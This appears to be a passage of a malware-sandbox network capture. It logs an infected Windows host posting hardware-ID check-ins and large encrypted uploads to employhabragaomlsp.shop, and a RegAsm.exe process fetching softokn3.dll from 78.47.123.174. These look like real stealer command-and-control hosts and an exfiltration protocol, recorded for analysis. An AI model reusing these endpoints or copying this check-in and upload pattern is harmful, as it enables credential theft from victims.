2024-05-24 07:43:02 UTC	15331	OUT	Data Raw: 0a 35 2f 12 f7 f7 00 fa 60 26 42 4b 82 98 f9 b2 a0 ea f2 7e 00 ff cb 0b a2 0d 26 dd 2b 73 d6 5e 26 b6 90 b5 b1 5c 07 d4 77 4d 1e 81 ed 66 0e 33 52 e0 ea 6e 53 79 88 14 0f 07 21 cb 84 33 2c dd 47 93 e1 d7 64 5e 8c 5d 90 c4 12 a7 f8 3a 7e 25 f8 2d 08 b7 12 10 91 6e 7e 1e f3 0f 54 b8 73 7b 2a d4 3b 1d 3a 96 20 cb 6c 5c a7 89 e0 77 c9 c2 ef 00 ca 6d 28 29 76 eb e0 f3 10 22 fe 06 e3 62 b2 ed 6c 77 d1 b0 1e 5b 46 58 c8 8d 7b f0 da 68 81 70 94 4a 27 e0 4e cc 85 1f 25 c0 5a 86 bf e6 98 9c 57 3a 6d 0d d1 12 a2 42 90 f2 46 a0 0e 55 98 20 42 27 ec bb 54 ff 00 e2 87 f8 f8 05 25 be d5 1c 78 14 2b ff f4 13 38 d0 fb b5 29 1f 65 d6 10 2c c1 79 03 d2 9f 04 ab 22 68 c1 ae 31 8d 2f 9e 0c aa 3b e4 b7 07 f0 cd 26 e5 91 f9 f9 66 b7 e8 51 61 82 c2 4c ed 65 61 be 6f d5 9f e5 19 Data Ascii: 5/`&BK~&+s^&\wMf3RnSy!3,Gd^]:~%-n~Ts{*;: l\wm()v"blw[FX{hpJ'N%ZW:mBFU B'T%x+8)e,y"h1/;&fQaLeao
2024-05-24 07:43:02 UTC	15331	OUT	Data Raw: f3 f7 93 73 a1 ed fb 02 38 47 cd 56 bc 10 1b 80 7d b4 45 ba ff 3f 40 99 7d ae f5 a8 d0 18 a4 9b 33 36 f4 f6 3f dd 3e 0e 1b df 05 75 0b b2 f9 e7 aa ef 1f be 25 41 d8 6e 14 c0 ed 85 c8 fc 50 c6 9e e8 a1 d8 7c 23 3b 14 0c 87 d9 ee de 66 e9 cf 59 b7 7e 06 d7 87 f0 72 a7 b0 ec 82 ec a3 fb a5 99 b7 1a d4 6c 4e 23 6b 1b e3 be bf f4 cd f1 52 00 7b f0 9c 80 c8 aa c5 18 a9 93 4e be dc 0f cd ae 0e b2 b4 a2 09 0b 7e b2 38 e7 f1 57 f3 db 00 3f 81 f8 6b 84 18 84 0b c6 6d fd 7a 76 69 34 49 84 e2 0b 99 3b e6 67 20 64 1e d6 8b ee 10 6c ca d2 3a 04 0e 5b a7 d7 d6 18 ad 06 a6 35 a1 4d 4b 31 fc f4 46 1e 8a b9 49 31 f7 3c cb 5a 4f fa 74 3d 8d 17 4c 6e a0 67 ec 40 d3 2f 61 8d 05 ca eb a4 5a d9 74 c5 fa 40 59 91 31 9d 37 ca 89 e1 de 52 cc 66 95 79 6f 57 c4 37 fd 56 a5 87 e2 39 Data Ascii: s8GV}E?@}36?>u%AnP\|#;fY~rlN#kR{N~8W?kmzvi4I;g dl:[5MK1FI1<ZOt=Lng@/aZt@Y17RfyoW7V9
2024-05-24 07:43:04 UTC	816	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ch1r0jlgktgi34f907pt7s8gvc; expires=Tue, 17-Sep-2024 01:29:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jKT2tbgZQ00lV%2FYIhs5IwkjB3nTNsz1QGj0AeNuM3BH%2FZpSXP2mep5IpwjIMyHC2tZBds9c0LBUDYsJvh2NnwXtnxLkIDwk1YiCpTMjtExExk5zVmY43f%2BjuZAUr%2BMOx%2BgFw8iFTmKiHyw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba7095be84364-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49913	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:02 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18158 Host: employhabragaomlsp.shop
2024-05-24 07:43:02 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:02 UTC	2827	OUT	Data Raw: 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af 16 Data Ascii: MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?l
2024-05-24 07:43:03 UTC	818	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5aruoc0474h6nh58jr0h6hmf1g; expires=Tue, 17-Sep-2024 01:29:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bxEfKOFsA3g3IBDCNU8%2Ff24zI%2BeI5HN4q5itPvzmRsMsXHkJIDSc17V9IgNsJqVQJKtgc28XME6JQajl5gGx3paIc%2BUz3ThbdZNzHX1oxpJQMNmVIu9%2B32%2BC1g9Ft0%2FhH7hc4WcA0xyLoQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba7099af68c18-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:03 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:43:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49926	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:03 UTC	290	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 573047 Host: employhabragaomlsp.shop
2024-05-24 07:43:03 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:03 UTC	15331	OUT	Data Raw: 08 f9 00 7e 57 c5 0a 53 89 95 d2 8c 25 80 a4 27 61 c1 94 c7 61 af 00 db 4c 01 fc 2e bc d6 77 18 87 64 f4 b6 c2 6b 8c a1 f3 92 34 fc 6e b2 8b 08 38 a3 8e 85 71 5c ec 9a 35 3a 54 71 fb ea 7e ae db 76 90 1a e4 f8 ff 56 29 69 3e 40 b7 df 15 dc 41 83 7a 32 b9 27 08 78 6d e1 60 01 9a 82 73 5a 58 78 89 19 bb 27 ad 54 00 e2 fd b9 60 94 7a 8c c1 5b 30 b4 6d b3 84 18 87 a4 7a 85 c1 a5 c4 34 07 37 1c 68 90 e7 05 18 a3 63 b6 67 38 94 40 72 2a 30 75 3b bf 48 93 e6 b7 f9 39 39 ec e1 17 23 a6 68 a7 94 97 23 17 8a 1e 31 8e 7f b5 38 a5 c2 9b d6 8a a3 56 98 ca 6a 0c c1 32 3d 45 88 0d e0 fd 28 2a c6 14 5c c0 b0 28 29 5b 0d fe 2e f2 9c 5a 47 22 97 b4 22 5f c5 3f 66 3c be 6a 27 41 25 33 d2 b1 b0 c4 b2 e6 cc bb 25 e0 b7 87 a6 8d 0e 14 04 3f fa d1 ec cd 23 23 81 2a f1 6b 37 8f Data Ascii: ~WS%'aaL.wdk4n8q\5:Tq~vV)i>@Az2'xm`sZXx'T`z[0mz47hcg8@r0u;H99#h#18Vj2=E(\()[.ZG""_?f<j'A%3%?##*k7
2024-05-24 07:43:03 UTC	15331	OUT	Data Raw: 11 45 95 08 c9 5b 56 46 d2 d8 c7 91 36 66 4e af a6 33 da 7f ad 41 73 08 cb 1b 05 a5 b0 2f ea ad 72 9b 04 1c b9 a9 30 96 3f 11 d1 42 91 08 f6 92 a0 9d 7a 80 eb 78 81 a0 22 65 86 c1 5e a9 c8 12 d3 b5 cc 47 c3 a6 62 b4 ca f8 f4 b3 ca 75 c9 10 01 e2 9e ee 77 f9 4d 74 93 29 58 28 46 4b f5 21 5e ae f0 85 c6 ec 87 42 91 b1 dd 93 86 c0 07 89 7e 53 a7 14 81 98 a0 92 6b 4a 31 3a e8 9e c1 70 a1 d9 2f 46 d3 83 1d eb f4 12 8b fd 9d e7 99 92 e8 70 41 de be 7a fa 5f aa ae df e3 28 0c 83 32 ce dc 9c 91 df ea 9b 63 96 9c 01 69 84 df f9 8a dc 5c 37 83 08 d7 da 11 aa f5 fd 01 f2 9e ae eb 11 94 2b 67 b8 2e 6f f0 d0 e8 ab f9 a9 ef 62 97 2b ff 0a fa d9 a2 b1 19 ef ed 02 f9 68 c2 99 27 c8 98 3b 98 bb 0f 16 2f c5 64 e5 a9 dd 89 67 93 5a 0f 92 2f 30 1a 16 4e b0 1b 75 f3 24 c2 98 Data Ascii: E[VF6fN3As/r0?Bzx"e^GbuwMt)X(FK!^B~SkJ1:p/FpAz_(2ci\7+g.ob+h';/dgZ/0Nu$
2024-05-24 07:43:03 UTC	15331	OUT	Data Raw: 37 68 9f 1c 44 88 bb 7b 07 a8 be d0 e5 f4 7b cb 90 a2 af 7e 7b 52 62 bb f4 d5 9e 7a 71 e9 d9 d5 30 60 1b 83 9a 63 9b b5 e6 95 00 0c f5 f7 dd 8f 47 5e 31 5d fa 82 33 50 07 5a e6 9b f7 3d 5a 27 5c 0d 57 4a 4d f1 b6 0e 46 f9 ef ae 4d fd 45 d0 4d 11 14 7f 11 3b e0 0b ce d8 fc 57 34 39 7a bd a3 ce 28 67 69 a2 d9 6a 7b a9 e8 a3 13 2f 39 5a 7e 77 49 cd 27 ae d9 ce f9 f0 eb 85 f7 fe 7b 19 b2 c3 82 77 28 6e 1f d0 bd c8 cf 0f 39 d2 0f 08 ff d5 52 52 37 37 39 17 a9 ae a1 4b 76 1f 6f f4 46 2d 89 dc 44 7b dc 73 4d 12 4a 6a d0 13 34 73 01 63 6d 6a 4c a5 6e 6f 41 70 6d 09 76 1e a5 6e 1e 97 a1 13 06 b7 fc ee 9c fc dc 8d 63 f6 b4 1f 2d 49 5b 78 44 d9 db dd fe 71 2e b5 f2 07 c7 20 ce 82 22 7b b5 f9 2e 4f f1 e2 39 9a 5f 59 6b 3f f9 d3 ee 19 9e 7e cb 9f aa 07 dd 5e 7d b0 55 Data Ascii: 7hD{{~{Rbzq0`cG^1]3PZ=Z'\WJMFMEM;W49z(gij{/9Z~wI'{w(n9RR779KvoF-D{sMJj4scmjLnoApmvnc-I[xDq. "{.O9_Yk?~^}U
2024-05-24 07:43:03 UTC	15331	OUT	Data Raw: 93 37 61 53 7d 7f 2e 0e 6e 1e d4 11 ee f2 d5 3a cd f1 91 32 1a 6f 73 f0 2a 27 e7 2c 78 0d 8d bc 50 5d aa 4d ae 2a 4b 42 c7 1e 50 1d b1 e0 d8 04 ef 77 76 91 17 db bd b3 a7 95 e9 f6 90 db ac 59 99 f7 e4 ef b1 92 0c 78 55 e0 66 75 86 6b 2e c4 5b 46 f4 22 0c e6 b8 e0 0f 33 06 37 f7 22 84 80 d1 44 2e 54 47 04 7a af cf f0 11 07 c7 d5 6c 76 20 cf 43 e9 0d 51 ff 2b 93 b6 c8 a0 80 db 5e 93 4e 45 f7 91 e0 c3 bd cc 26 1e 30 44 71 1c b5 56 75 c1 08 ef bc 7b ff e9 f0 7b 6d 53 7f 2d 49 87 fb 47 24 6d ee a9 bc 57 36 27 a5 fb a1 ff 3e a0 35 2d 9c 4c 58 81 18 fe 89 54 be ff ff 2b b9 21 09 4a c7 78 e0 3c b0 f8 67 e0 92 cc e2 1b 21 46 55 39 25 a5 05 59 0c 7f 5e 2c 79 54 c4 c3 41 38 4f b5 7f e2 ec 08 27 7c 97 28 cb 4a 10 44 fc d9 9e 0e 54 b4 9f 21 89 b5 06 a9 81 5b 51 da d4 Data Ascii: 7aS}.n:2os',xP]MKBPwvYxUfuk.[F"37"D.TGzlv CQ+^NE&0DqVu{{mS-IG$mW6'>5-LXT+!Jx<g!FU9%Y^,yTA8O'\|(JDT![Q
2024-05-24 07:43:03 UTC	15331	OUT	Data Raw: de 4a ac 10 6e 10 a4 34 b9 f1 bd 9c 38 db 39 b9 b4 36 64 e3 56 31 bf ce 2c 42 ce a9 4e 42 b8 a9 1c 59 61 d1 f8 79 b9 06 5b 2d 5f e8 62 4f 28 90 7b 16 55 48 6a 34 30 f0 15 f8 71 b0 25 90 aa ae dc ea ad 5d 9b 00 c5 7b 6f fb 3c 4b d3 42 06 16 6c bf da 51 2b 62 2d c3 08 40 ec aa 75 46 29 87 eb 73 6c bb 38 a6 f4 0b 61 40 d0 8d b1 7b 7c 3d f7 8f dc dd 9a 74 aa 57 ec 2e 72 f6 68 4b 16 2a 51 89 36 14 b3 1f ef bb fc d1 c8 e6 9b be 67 81 a0 a1 46 53 d8 16 5f d8 e9 36 be e2 7c c3 59 c7 d8 de 8a ed 07 3f 82 0c 7f 08 9d 73 96 fd 55 97 f8 0c fa 5d 82 cd ad 4c c4 10 c0 83 a1 02 7a 6b db a0 bc 2d f7 87 2b 24 9c 8d e8 1d c4 ad df a2 17 1c d5 39 bc a5 8f 3b c4 f1 47 4d 6c 1d a5 17 99 19 90 0c ab 24 19 d1 fb d4 d4 67 f5 e4 31 21 b0 cf 8f ea 90 fe 29 e6 79 90 7f 15 23 47 88 Data Ascii: Jn4896dV1,BNBYay[-_bO({UHj40q%]{o<KBlQ+b-@uF)sl8a@{\|=tW.rhK*Q6gFS_6\|Y?sU]Lzk-+$9;GMl$g1!)y#G
2024-05-24 07:43:03 UTC	15331	OUT	Data Raw: 58 cc 46 22 0f 61 64 79 9b 65 ed 42 a6 d7 7f 96 53 e4 44 c9 bb ba 9e b3 4a fe bf b6 8a 9f 38 59 04 7c bd 73 38 2f ae ca e3 cd be b6 c0 38 dd be 6f 48 bc 3b f7 ad 2a 6b 58 a2 09 76 e1 54 09 32 52 10 e4 a1 03 ab 4b 33 92 d2 38 41 c8 0d d4 b9 cd 14 a4 ee 66 c3 26 ca 1d 6e 55 3d 14 fd 71 11 10 56 bd 83 c0 2d 9c cc 6c e6 04 07 aa e4 7f 5b f6 ca c6 47 2f 19 70 ed ce f2 90 ac 97 a9 7f fd eb e3 47 c8 1f 3b e3 b3 81 04 f1 de 1b b8 45 1c b2 fc 96 63 9a fb 5c 49 7c 35 5e d1 8a 96 c4 58 ff 99 89 8f 7c b2 19 9a 82 48 be cd c2 6c 8e db 92 86 12 0a b4 91 70 f3 01 2b d2 04 9d 95 3b ab a5 df e6 a3 59 3f a3 44 6f a2 01 6e 73 f5 67 1a cb 67 08 41 bf 36 ba f4 38 e7 5e 20 93 1d e0 5c fd e3 5a 94 43 2f 58 ac 11 02 57 37 46 4b 3e d6 48 8f 56 2a f5 6d 56 c2 d4 c7 00 44 97 d2 df Data Ascii: XF"adyeBSDJ8Y\|s8/8oH;kXvT2RK38Af&nU=qV-l[G/pG;Ec\I\|5^X\|Hlp+;Y?DonsggA68^ \ZC/XW7FK>HVmVD
2024-05-24 07:43:03 UTC	15331	OUT	Data Raw: ac bb 83 24 e8 be 43 fd 49 24 84 c8 21 e6 9d a8 07 02 e6 e0 75 c3 f9 6b a1 30 e1 79 88 3e 7f e2 e2 50 85 c3 68 5e 3a 41 44 93 a1 90 ae f8 9a 9c e0 69 0a 9b d6 c3 65 52 5d 54 ee bb 69 9b 8b 61 18 98 40 76 e6 fb d5 fe df f6 b4 16 bd cc 1f 09 9b 80 e7 c0 dc 73 14 2c 3b 7f 66 fc 05 16 e6 c3 f1 2e 4a 63 3b c7 27 e6 5c d9 f6 03 91 06 44 6d 94 99 58 5f d1 0d fb 5a 17 a5 f4 b9 f1 14 b3 0b 8a 97 94 32 0c e6 d4 db 5c 63 ed 6b 88 f2 a1 7a 97 04 e3 c9 fc 80 57 60 3d b6 ea a8 6b 7d a7 59 d3 f8 fe 10 47 a9 00 24 66 95 af a8 97 fe c0 d3 9f 84 bd be 6f d1 1b 4a 46 76 a7 c6 b5 d4 f0 9e 88 06 9a cd a7 c1 6f e5 ab fa 25 9e 9c 17 65 0f 8e 0f 4b f4 3b 6d 3a ff 8b 78 42 29 dc 3f 55 7f 55 80 14 e8 11 c3 18 36 ca ef 29 09 b8 e6 b5 b4 f9 25 11 4f aa 35 95 4b ff 79 9d 76 56 6f a8 Data Ascii: $CI$!uk0y>Ph^:ADieR]Tia@vs,;f.Jc;'\DmX_Z2\ckzW`=k}YG$foJFvo%eK;m:xB)?UU6)%O5KyvVo
2024-05-24 07:43:03 UTC	15331	OUT	Data Raw: 42 cd 8b c4 fd 3d 80 3e 98 89 d0 92 20 66 be 2c a8 ba bc 1f c0 ff f2 82 68 83 49 f7 ca 9c b5 97 89 2d 64 6d 2c d7 01 f5 5d 93 47 60 bb 99 c3 8c 14 b8 ba db 54 1e 22 c5 c3 41 c8 32 e1 0c 4b f7 d1 64 f8 35 99 17 63 17 24 b1 c4 29 be 8e 5f 09 7e 0b c2 ad 04 44 a4 9b 9f c7 fc 03 15 ee dc 9e 0a f5 4e 87 8e 25 c8 32 1b d7 69 22 f8 5d b2 f0 3b 80 72 1b 4a 8a dd 3a f8 3c 84 88 bf c1 b8 98 6c 3b db 5d 34 ac c7 96 11 16 72 e3 1e bc 36 5a 20 1c a5 d2 09 b8 13 73 e1 47 09 b0 96 e1 af 39 26 e7 95 4e 5b 43 b4 84 a8 10 a4 bc 11 a8 43 15 26 88 d0 09 fb 2e d5 3f 80 f8 21 3e 7e 41 89 6f 35 07 1e c5 ca 3f fd 04 0e f4 7e 6d ca 47 99 35 04 4b 70 de 80 f4 27 c1 aa 08 5a b0 6b 4c e3 8b 27 83 ea 0e f9 ed 01 7c b3 49 79 64 7e be d9 2d 7a 54 98 a0 30 53 7b 59 98 ef 5b f5 67 79 86 Data Ascii: B=> f,hI-dm,]G`T"A2Kd5c$)_~DN%2i"];rJ:<l;]4r6Z sG9&N[CC&.?!>~Ao5?~mG5Kp'ZkL'\|Iyd~-zT0S{Y[gy
2024-05-24 07:43:03 UTC	15331	OUT	Data Raw: fc fd e4 5c 68 fb be 00 ce 51 b3 15 2f c4 06 60 1f 6d 91 ee ff 0f 50 66 9f 6b 3d 2a 34 06 e9 e6 8c 0d bd fd 4f b7 8f c3 c6 77 41 dd 82 6c fe b9 ea fb 87 6f 49 10 b6 1b 05 70 7b 21 32 3f 94 b1 27 7a 28 36 df c8 0e 05 c3 61 b6 bb b7 59 fa 73 d6 ad 9f c1 f5 21 bc dc 29 2c bb 20 fb e8 7e 69 e6 ad 06 35 9b d3 c8 da c6 b8 ef 2f 7d 73 bc 14 c0 1e 3c 27 20 b2 6a 31 46 ea a4 93 2f f7 43 b3 ab 83 2c ad 68 c2 82 9f 2c ce 79 fc d5 fc 36 c0 4f 20 fe 1a 21 06 e1 82 71 5b bf 9e 5d 1a 4d 12 a1 f8 42 e6 8e f9 19 08 99 87 f5 a2 3b 04 9b b2 b4 0e 81 c3 d6 e9 b5 35 46 ab 81 69 4d 68 d3 52 0c 3f bd 91 87 62 6e 52 cc 3d cf b2 d6 93 3e 5d 4f e3 05 93 1b e8 19 3b d0 f4 4b 58 63 81 f2 3a a9 56 36 5d b1 3e 50 56 64 4c e7 8d 72 62 b8 b7 14 b3 59 65 de db 15 f1 4d bf 55 e9 a1 78 ce Data Ascii: \hQ/`mPfk=*4OwAloIp{!2?'z(6aYs!), ~i5/}s<' j1F/C,h,y6O !q[]MB;5FiMhR?bnR=>]O;KXc:V6]>PVdLrbYeMUx
2024-05-24 07:43:05 UTC	814	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=54bl33alkmnu1vau2hh6qcgfqj; expires=Tue, 17-Sep-2024 01:29:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hXlWsVQfIf6bQqKRPwGwz6PDESAuFByQEY4Z4t%2B2MY9%2FXs%2BD7u1psXDRPFqWezsxo5xrYlAk64lPMW4X7MTvY7XEduxrqsMNrUhzb5NbQ%2Ffzvy363b17MW7Kpe2HPR7aT5WBnn1NSDNwEw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba70d693242ce-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49927	78.47.123.174	443	5868	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:03 UTC	174	OUT	GET /softokn3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Cache-Control: no-cache
2024-05-24 07:43:03 UTC	246	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:43:03 GMT Content-Type: application/octet-stream Content-Length: 257872 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-3ef50" Accept-Ranges: bytes
2024-05-24 07:43:03 UTC	16138	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSw
2024-05-24 07:43:03 UTC	16384	IN	Data Raw: ff 89 85 f4 fe ff ff c7 85 f8 fe ff ff 04 00 00 00 8d 85 f0 fe ff ff 6a 01 50 53 57 e8 85 af 00 00 83 c4 10 89 c6 85 c0 75 3f 8b 85 ec fe ff ff 83 c0 fd 83 f8 01 77 25 be 30 00 00 00 83 3d 28 9a 03 10 00 75 23 83 3d 50 90 03 10 00 74 0e be 01 01 00 00 f6 05 20 9a 03 10 01 74 0c 53 57 e8 e2 b9 00 00 83 c4 08 89 c6 83 3d 2c 9a 03 10 00 0f 84 5e ff ff ff 8b 85 ec fe ff ff 83 c0 fe 83 f8 02 0f 87 4c ff ff ff 56 53 57 68 85 6b 03 10 68 00 01 00 00 8d 85 f0 fe ff ff 50 ff 15 1c 7c 03 10 83 c4 18 e9 2a ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 14 90 03 10 31 e8 89 45 f0 c7 85 ec fe ff ff 00 00 00 00 be 30 00 00 00 83 3d 28 9a 03 10 00 74 17 8b 4d f0 31 e9 e8 28 8b 02 00 89 f0 81 c4 08 01 00 00 5e 5f 5b 5d c3 8b 5d 0c c7 Data Ascii: jPSWu?w%0=(u#=Pt tSW=,^LVSWhkhP\|*USWV1E0=(tM1(^_[]]
